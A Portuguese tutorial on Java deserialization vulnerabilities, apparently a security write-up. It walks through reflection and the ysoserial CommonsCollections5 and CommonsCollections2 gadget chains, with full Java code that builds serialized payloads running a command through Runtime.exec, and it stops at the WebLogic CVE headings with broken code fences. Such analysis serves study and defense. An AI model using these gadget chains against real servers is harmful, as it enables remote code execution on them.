Compartilhamento de Técnicas de Desserialização em Java

Os tópicos abordados nesta apresentação incluem:

Fundamentos de serialização e desserialização em Java
Por que vulnerabilidades ocorrem durante a desserialização?
Reflexão em Java
ysoserial CommonsCollections2, CommonsCollections5
Vários métodos de carregamento de classes com Java ClassLoader
WebLogic CVE-2020-2555 CVE-2020-2883 RCE
Shiro-550 rememberMe RCE de desserialização devido à codificação fixa
WebLogic + Shiro desserialização para registro de filter memory shell com um clique

Fundamentos de serialização e desserialização em Java

Serialização em Java é o processo de converter objetos Java em uma sequência de bytes para facilitar o armazenamento em memória, arquivos ou banco de dados. O método writeObject() da classe ObjectOutputStream pode realizar a serialização, convertendo objetos Java em sequência de bytes.

Desserialização em Java é o processo de restaurar uma sequência de bytes para um objeto Java. O método readObject() da classe ObjectInputStream é usado para desserialização.

Um exemplo simples, veja o código SerializeAndDeserialize ps: preste atenção especial na conversão forçada de tipos no código```java package org.chabug.demo;

import org.chabug.entity.Dog; import org.chabug.entity.Person; import org.chabug.util.Serializables;

/* 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化并且Java内置的几大数据类型也可被序列化，因为他们都继承了Object类 */

public class SerializeAndDeserialize {

public static void main(String[] args) throws Exception {
    byte[] bytes;
    String s1 = "I'm a String Object....";
    bytes = Serializables.serializeToBytes(s1);
    Object o1 = Serializables.deserializeFromBytes(bytes);
    System.out.println(o1);

    String[] s2 = new String[]{"tom", "bob", "jack"};
    bytes = Serializables.serializeToBytes(s2);
    String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
    System.out.println(o2);

    int i = 123;
    bytes = Serializables.serializeToBytes(i);
    int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
    System.out.println(o3);

    // 一只名叫woody的狗
    Dog dog = new Dog();
    dog.setName("woody");

    // tom
    Person tom = new Person();
    tom.setAge(14);
    tom.setName("tom");
    tom.setSex("男");
    tom.setDog(dog);

    bytes = Serializables.serializeToBytes(tom);
    Person o = (Person) Serializables.deserializeFromBytes(bytes);
    System.out.println(o);

}

}

String, Integer, array, Object e outros tipos de dados integrados do Java podem ser serializados. As classes Person e Dog que escrevemos podem ser serializadas e desserializadas desde que implementem a interface Serializable.

## Por que ocorre uma vulnerabilidade durante a desserialização?

Vejamos um trecho de código. Agora, existe uma classe de entidade maliciosa EvilClass```java
package org.chabug.entity;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class EvilClass implements Serializable {
    String name;

    public EvilClass() {
        System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!");
    }

    public EvilClass(String name) {
        System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!");
        this.name = name;
    }

    public String getName() {
        System.out.println(this.getClass() + "的getName被调用!!!!!!");
        return name;
    }

    public void setName(String name) {
        System.out.println(this.getClass() + "的setName被调用!!!!!!");
        this.name = name;
    }

    @Override
    public String toString() {
        System.out.println(this.getClass() + "的toString()被调用!!!!!!");
        return "EvilClass{" +
                "name='" + getName() + '\'' +
                '}';
    }

    private void readObject(ObjectInputStream in) throws Exception {
        //执行默认的readObject()方法
        in.defaultReadObject();
        System.out.println(this.getClass() + "readObject()被调用!!!!!!");
        Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
    }
}

Seu readObject contém código que executa comandos Runtime.getRuntime().exec(new String[]{"cmd", "/c", name}), onde o parâmetro name é o comando a ser executado. Então podemos construir um objeto malicioso, atribuir ao seu atributo name o comando a ser executado, e quando a desserialização acionar o readObject, ocorrerá RCE. Como segue:```java package org.chabug.demo;

import org.chabug.entity.EvilClass; import org.chabug.util.Serializables;

public class EvilSerialize { public static void main(String[] args) throws Exception { EvilClass evilObj = new EvilClass(); evilObj.setName("calc"); byte[] bytes = Serializables.serializeToBytes(evilObj); EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); System.out.println(o); } }

![image-20200822105256120](https://assets.kitploit.com/production/public/readmes/21799/7f07c0c8196e56e1d554bce64f73f069bdd3e589a3302936c831903e5f7e5539.png)

Agora sabemos como a desserialização pode levar a RCE, mas no desenvolvimento real não é possível escrever diretamente assim, então isso envolve a busca por cadeias de exploração. Uma vulnerabilidade de desserialização requer três coisas:

1. Ponto de entrada da desserialização (source)
2. Método alvo (sink)
3. Cadeia de gadgets (gadget chain)

Observando com atenção o resultado de saída na imagem acima, não apenas o método `readObject` é acionado, mas também `toString()`, construtor sem parâmetros, `set` e `get`. Portanto, na busca prática por cadeias de exploração, não é necessário focar apenas no método `readObject()`.

Em seguida, precisamos entender o conceito de **reflexão**. Mencionamos anteriormente o problema de **conversão de tipo forçada**. No desenvolvimento real, dentro do `readObject`, há processamento lógico: quando o tipo de dados específico do objeto de entrada é desconhecido, a reflexão é usada para determinar e invocar. E a reflexão é um meio importante para alcançarmos RCE.

## Reflexão em Java

O que é reflexão? A palavra "reflexão" contém o prefixo "re-". Para explicar a reflexão, precisamos começar pela "reflexão direta". Veja o código. Esta é minha classe de entidade.```java
package org.chabug.entity;

import java.io.IOException;

public class ReflectionClass {
    String name;

    public ReflectionClass(String name) {
        this.name = name;
    }

    public ReflectionClass() {
    }

    public String say() {
        return this.name;
    }

    private void evil(String cmd) {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String toString() {
        return "ReflectionClass{" +
                "name='" + name + '\'' +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

Escrita normal```java package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

public class ReflectionDemo { public static void main(String[] args) { ReflectionClass demo = new ReflectionClass(); demo.setName("hello"); System.out.println(demo.say()); // demo.evil("calc"); // 不能够调用private方法 } }

Muito simples: cria-se uma instância de `ReflectionClass` com `new` e depois, através dessa instância, invocam-se os métodos pertencentes a ela — isso é "reflexão direta". Mas o que fazer quando você não sabe o nome da classe ao usar `new`? E como invocar métodos protegidos por `private`? É aí que a reflexão mostra o seu valor. Veja o código a seguir:```java
package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

import java.lang.reflect.Method;

public class ReflectionDemo {
    public static void main(String[] args) throws Exception {
        // new
        Class<?> aClass = Class.forName("org.chabug.entity.ReflectionClass");
        Object o = aClass.newInstance();

        // setName("jack")
        Method setName = aClass.getDeclaredMethod("setName",String.class);
        setName.invoke(o, "jack");

        // say()
        Method say = aClass.getDeclaredMethod("say",null);
        Object o1 = say.invoke(o, null);
        System.out.println(o1);

        // evil("calc")
        // 反射可以修改方法的修饰符来调用private方法
        Method evil = aClass.getDeclaredMethod("evil", String.class);
        evil.setAccessible(true);
        evil.invoke(o,"calc");
    }
}

Não é necessário saber o nome da classe antecipadamente. Basta modificar a classe org.chabug.entity.ReflectionClass e passá-la como parâmetro, e é possível usar setAccessible para acessar métodos ou campos privados.

Em seguida, partindo da vulnerabilidade, vamos nos aprofundar no papel da reflexão na desserialização e na descoberta de cadeias de chamadas de desserialização.

ysoserial CommonsCollections2, CommonsCollections5

ysoserial é uma ferramenta para gerar explorações de desserialização em Java, que herda algumas explorações existentes, como várias cadeias de exploração CommonsCollections. Desta vez, analisaremos as cadeias CC2 e CC5. A razão para analisar essas duas é porque na CC2 é usada a operação de definição de bytecode, e na CC5 é para aprofundar a compreensão de reflexão e chamadas em cadeia.

Vamos primeiro olhar para a cadeia CC5, que é mais fácil de entender.

CommonsCollections5

A vulnerabilidade aparece em `org.apache.commons.collections.functors.InvokerTransformer#transform````java public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }

Comparando com o código do capítulo sobre reflexão, percebe-se que este é um uso evidente de reflexão. Para explicar com o código de projeção direta, seria algo como```java
input.iMethodName(iArgs);

this.iMethodName, this.iParamTypes e this.iArgs são todos controláveis no método construtor. Dessa forma, é possível chamar qualquer método do objeto input e passar quaisquer parâmetros.```java public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }

Assim, primeiro, um código para executar comandos```java
package org.chabug.demo;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

Porque a classe Runtime é um singleton, é necessário obter o objeto Runtime em execução através de getRuntime() e passá-lo para transform() para abrir a calculadora.

Mas sabemos que, durante a desserialização, apenas o readObject() é executado automaticamente. Se construirmos diretamente um objeto InvokerTransformer neste momento, ainda precisamos resolver dois problemas:

Executar automaticamente Runtime.getRuntime()
Executar automaticamente invokerTransformer.transform()

Vamos resolver o primeiro problema. No org.apache.commons.collections.functors.ChainedTransformer#transform, é possível realizar chamadas em cadeia.```java public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }

a definição de this.iTransformers é Transformer array```java
private final Transformer[] iTransformers;

Transformer é uma interface, e InvokerTransformer também implementa esta interface.

De acordo com o princípio da conversão implícita de tipos em Java, podemos definir um array de Transformer, colocando nele múltiplos InvokerTransformer para realizar múltiplas chamadas de reflexão, obtendo Runtime.getRuntime().exec()```java package org.chabug.demo;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 { public static void main(String[] args) throws Exception { // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); chain.transform(null); } }

O inteligente é que através do construtor da classe ConstantTransformer foi passado Runtime.class, assim não precisamos passar o Runtime nós mesmos.



Agora precisamos resolver o segundo problema: como acionar automaticamente transform(). Sabe-se que readObject() é executado durante a desserialização, então em qual classe o readObject() chama transform() direta ou indiretamente?



Em org.apache.commons.collections.map.LazyMap#get é chamado transform()```java
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

Veja o método construtor desta classe e o campo factory```java protected final Transformer factory;

public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }

O campo factory é declarado como final e protected, mas ele possui um método público decorate() para gerar objetos dessa classe, então podemos construir o seguinte```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
map.get("test");	//执行这个就会弹出计算器  map.get() > transform()

Neste momento, procurando onde o método get() do map é chamado org.apache.commons.collections.keyvalue.TiedMapEntry#getValue```java private final Map map; private final Object key;

public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }

getValue() simplesmente chama map.get(), e podemos controlar this.key. E toString() chama this.getValue(). Agora continue construindo.```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("test");
TiedMapEntry key = new TiedMapEntry(map, "key");
key.toString();	// toString > getValue() > map.get()

Agora a questão é como fazer readObject acionar automaticamente toString(). Isso é simples: na classe interna do JDK existe uma classe de exceção BadAttributeValueExpException, cujo readObject() executará toString().```java public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);

if (valObj == null) {
    val = null;
} else if (valObj instanceof String) {
    val= valObj;
} else if (System.getSecurityManager() == null
           || valObj instanceof Long
           || valObj instanceof Integer
           || valObj instanceof Float
           || valObj instanceof Double
           || valObj instanceof Byte
           || valObj instanceof Short
           || valObj instanceof Boolean) {
    val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}

}

Porque System.getSecurityManager() é null por padrão, então aciona val = valObj.toString(), entra em TiedMapEntry.toString(), o payload final.```java
package org.chabug.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
//        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
//        chain.transform(null);
        HashMap hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chain);
//        map.get("asd");
        TiedMapEntry key = new TiedMapEntry(map, "key");
//        key.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, key);


        byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
        Serializables.deserializeFromBytes(bytes);
    }
}

É importante notar que, ao declarar o objeto BadAttributeValueExpException, o parâmetro entry não foi passado diretamente, mas sim atribuído por reflexão. Isso porque o construtor de BadAttributeValueExpException verifica se o valor é nulo; se não for nulo, o método toString() será executado durante a serialização. Já na desserialização, como o entry já é uma string, o método toString() não será acionado.

Resumo: Uso flexível de reflexão combinado com chamadas encadeadas, seguido pela busca de um gadget para obter RCE com sucesso.```java /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */

### CommonsCollections2

Antes de apresentar o CC2, primeiro é necessário entender o bytecode Java. Em Java, todo código Java precisa ser compilado em arquivos de bytecode `.class` para serem executados pela JVM. O bytecode é mais parecido com uma linguagem assembly, de baixa legibilidade, mas ainda existem muitas bibliotecas excelentes para operar, modificar e editar bytecode para programação, como asm, cglib e javassist. Na ferramenta ysoserial, a biblioteca javassist é utilizada. Primeiro, vejamos como o payload do cc2 é escrito no ysoserial.```java
public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

Primeiro, veja a primeira linha: Gadgets.createTemplatesImpl(command)```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

mencionou a classe org.apache.xalan.xsltc.trax.TemplatesImpl, então primeiro precisamos ver duas linhas de código```java
package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
        object.newTransformer();
    }
}

Por que aparece uma calculadora? Investigando createTemplatesImpl()```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
    command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
    "\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
    classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

}

O código acima faz o seguinte:

1. Instancia um objeto `org.apache.xalan.xsltc.trax.TemplatesImpl` chamado templates, cujo campo `_bytecodes` pode armazenar bytecode.
2. Cria uma classe `StubTransletPayload` que estende `AbstractTranslet` e implementa a interface `Serializable`.
3. Obtém o bytecode de `StubTransletPayload` e usa javassist para inserir bytecode de `templates` (execução do comando Runtime.exec).
4. Usa reflexão para definir o campo `_bytecodes` de `templates` como o bytecode que contém a execução do comando.

Na verdade, isso implementa uma subclasse de `org.apache.xalan.xsltc.trax.TemplatesImpl` e insere o bytecode malicioso em seu campo `_bytecodes`. Veja newTransformer().```java
public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

Irá executar getTransletInstance(), prossiga.```java private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;

    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet)
        _class[_transletIndex].getConstructor().newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setOverrideDefaultParser(_overrideDefaultParser);
    translet.setAllowedProtocols(_accessExternalStylesheet);
    if (_auxClasses != null) {
        translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
}
catch (InstantiationException | IllegalAccessException |
       NoSuchMethodException | InvocationTargetException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString(), e);
}

}

A linha abaixo criará uma nova instância com base na classe definida pelo bytecode, e no bloco static da classe definida pelo bytecode está escrito Runtime.exec, resultando em RCE.```java
AbstractTranslet translet = (AbstractTranslet)            _class[_transletIndex].getConstructor().newInstance();

Então, basta encontrar uma classe que chame template.newTransformer() dentro de readObject(). Ou seja, a PriorityQueue no payload.

PriorityQueue é uma fila de prioridade ilimitada baseada em prioridade. Os elementos da fila de prioridade são ordenados de acordo com sua ordem natural ou por um Comparator fornecido no momento da construção da fila, dependendo do construtor utilizado.

Veja seu readObject().```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
    queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();

}

Já que é uma fila de prioridade, certamente há ordenação. Em heapify(),```java
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]); // 进行排序
}
private void siftDown(int k, E x) {
    if (comparator != null) 
        siftDownUsingComparator(k, x); // 如果指定比较器就使用
    else
        siftDownComparable(k, x);  // 没指定就使用默认的自然比较器
}
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}
private void siftDownComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>)x;
    int half = size >>> 1;        // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
            c = queue[child = right];
        if (key.compareTo((E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}

comparator é um comparador; quando um comparator é especificado, ele entra em comparator.compare((E) c, (E) queue[right]). comparator é um objeto da interface Comparator.```java private final Comparator<? super E> comparator;

Ao examinar sua hierarquia de herança, descobre-se que a classe TransformingComparator no pacote CC implementa a interface Comparator.

![image-20200822155342130](https://assets.kitploit.com/production/public/readmes/21799/8efbc6595d2b8d6f314f557bbc3763d8d3d082872989758404641a4e58701b20.png)

O método compare() do TransformingComparator```java
public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

Ei, não é exatamente a chamada reflexiva do método arbitrário transform anterior? this.transformer carrega a classe InvokerTransformer, chamar newTransformer() por reflexão antes já resulta em RCE. Construir payload.```java public Queue getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;

}

Um ponto que pode causar dúvida está em `new InvokerTransformer("toString", new Class[0], new Object[0])`, por que usar toString primeiro e depois modificar por reflexão para newTransformer? Porque se usar newTransformer diretamente na serialização, ocorrerá o erro `The method 'newTransformer' on 'class java.lang.Integer' does not exist`, então o ysoserial adotou a abordagem de usar toString primeiro para converter em string e comparar com o número 1, depois modificar por reflexão, o que é bastante engenhoso.

Resumo:```java
/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

WebLogic-Shiro-shell

Mais Populares

Derivação de duas cadeias

BytecodeLoader```java

WebLogic CVE-2020-2555 CVE-2020-2883 RCE

CVE-2020-2555